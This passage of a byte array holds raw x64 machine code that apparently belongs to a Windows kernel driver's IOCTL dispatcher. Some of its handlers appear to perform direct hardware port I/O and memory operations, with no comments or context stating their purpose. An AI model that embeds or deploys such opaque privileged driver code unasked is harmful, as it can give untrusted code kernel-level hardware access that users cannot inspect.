0x8B, - 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, - 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, - 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, - 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, - 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, - 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, - 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, - 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, - 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, - 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, - 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, - 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, - 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, - 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, - 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, - 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, - 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, - 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, - 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, - 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, - 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, - 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, - 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, - 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, - 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, - 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, - 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, - 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, - 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 0x0A, 0x66, 0x89, - 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, - 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, - 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, - 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, - 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, - 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, - 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, - 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, - 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, - 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, - 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, - 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, - 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, - 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, - 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, - 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, - 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, - 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, - 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, - 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, - 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, - 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, - 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, - 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, - 0x00, 0x41, 0x81, 0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, - 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, - 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, - 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, - 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, - 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, - 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, - 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xCA, 0x0E, - 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, - 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, - 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, - 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, - 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, - 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, - 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, - 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, - 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 0x83, 0xC9, 0xFF, 0xFF, - 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, - 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, - 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, - 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, - 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, - 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, - 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, - 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, - 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, - 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, - 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, - 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, - 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, - 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, - 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, - 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, - 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, - 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, - 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, - 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, - 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, - 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, - 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, - 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, - 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, - 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, - 0xEB, 0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, - 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, - 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, - 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, - 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, - 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, - 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, - 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, - 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, - 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, - 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, - 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, - 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, - 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, - 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, - 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, - 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, - 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, - 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, - 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, - 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, - 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, - 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, - 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, - 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, - 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, - 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, - 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, - 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, - 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, - 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, - 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, - 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, - 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, - 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, - 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, - 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, - 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, - 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, - 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, - 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, - 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, - 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, - 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, - 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, - 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, - 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, - 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, - 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, - 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, - 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, - 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, - 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, - 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, - 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, - 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, - 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, - 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, - 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, - 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, - 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, - 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, - 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, - 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, - 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, - 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, - 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, - 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, - 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, - 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, - 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, - 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, - 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, - 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, - 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, - 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, - 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, - 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, - 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, - 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, - 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, - 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, - 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, - 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, - 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, - 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, - 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, - 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, - 0x00, 0xE8, 0x92, 0x0C, 0x00, 